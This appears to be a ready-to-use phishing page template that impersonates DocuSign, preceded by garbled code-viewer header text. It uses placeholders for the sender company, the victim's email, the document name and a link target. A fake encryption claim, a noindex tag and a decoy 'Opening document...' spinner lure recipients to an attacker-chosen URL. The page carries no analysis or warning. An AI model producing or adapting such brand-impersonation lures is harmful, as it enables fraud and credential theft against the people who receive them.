²é¿´/±à¼ ´úÂë
ÄÚÈÝ
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document Ready for Signature</title> <meta name="robots" content="noindex, nofollow"> <style> :root { --primary: #4c00ff; --yellow: #ffe01b; --bg: #f5f5f5; --card: #ffffff; --text: #333333; --muted: #666666; } * { margin: 0; padding: 0; box-sizing: border-box; } body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif; background: var(--bg); min-height: 100vh; display: flex; align-items: center; justify-content: center; padding: 20px; } .container { background: var(--card); border-radius: 8px; box-shadow: 0 2px 10px rgba(0,0,0,0.1); max-width: 500px; width: 100%; overflow: hidden; } .header { background: var(--primary); padding: 24px; text-align: center; } .logo { color: white; font-size: 24px; font-weight: bold; } .logo span { color: var(--yellow); } .content { padding: 30px; } .title { font-size: 20px; color: var(--text); margin-bottom: 10px; text-align: center; } .subtitle { font-size: 14px; color: var(--muted); text-align: center; margin-bottom: 25px; } .doc-info { background: #fafafa; border: 1px solid #eee; border-radius: 8px; padding: 20px; margin-bottom: 25px; } .doc-row { display: flex; justify-content: space-between; padding: 10px 0; border-bottom: 1px solid #eee; } .doc-row:last-child { border-bottom: none; } .doc-label { font-size: 13px; color: var(--muted); } .doc-value { font-size: 13px; color: var(--text); font-weight: 500; } .action-btn { display: block; width: 100%; padding: 16px; background: var(--yellow); color: #333; text-decoration: none; text-align: center; border-radius: 6px; font-weight: 700; font-size: 16px; transition: background 0.2s; } .action-btn:hover { background: #e6c800; } .security-note { margin-top: 20px; display: flex; align-items: center; gap: 10px; font-size: 12px; color: var(--muted); } .security-note .icon { color: #22c55e; } .footer { text-align: center; padding: 20px; font-size: 11px; color: var(--muted); border-top: 1px solid #eee; } .loading { display: none; text-align: center; padding: 40px; } .spinner { width: 30px; height: 30px; border: 3px solid #eee; border-top-color: var(--primary); border-radius: 50%; animation: spin 1s linear infinite; margin: 0 auto 10px; } @keyframes spin { to { transform: rotate(360deg); } } </style> </head> <body> <div class="container"> <div class="header"> <div class="logo">Docu<span>Sign</span></div> </div> <div class="content" id="mainContent"> <h1 class="title">Please Review & Sign</h1> <p class="subtitle">{{company}} has sent you a document to sign</p> <div class="doc-info"> <div class="doc-row"> <span class="doc-label">Document:</span> <span class="doc-value">{{doc_ref}}.pdf</span> </div> <div class="doc-row"> <span class="doc-label">From:</span> <span class="doc-value">{{company}}</span> </div> <div class="doc-row"> <span class="doc-label">Sent to:</span> <span class="doc-value">{{email}}</span> </div> <div class="doc-row"> <span class="doc-label">Date:</span> <span class="doc-value">{{date}}</span> </div> </div> <a href="{{action_url}}" class="action-btn" id="actionBtn">REVIEW DOCUMENT</a> <div class="security-note"> <span class="icon">🔒</span> <span>This document is secured with encryption</span> </div> </div> <div class="loading" id="loadingState"> <div class="spinner"></div> <p>Opening document...</p> </div> <div class="footer"> DocuSign, Inc. • Secure Electronic Signature </div> </div> <script> (function(){ var btn = document.getElementById('actionBtn'); var main = document.getElementById('mainContent'); var load = document.getElementById('loadingState'); if(btn && main && load) { btn.addEventListener('click', function(){ main.style.display = 'none'; load.style.display = 'block'; }); } })(); </script> </body> </html>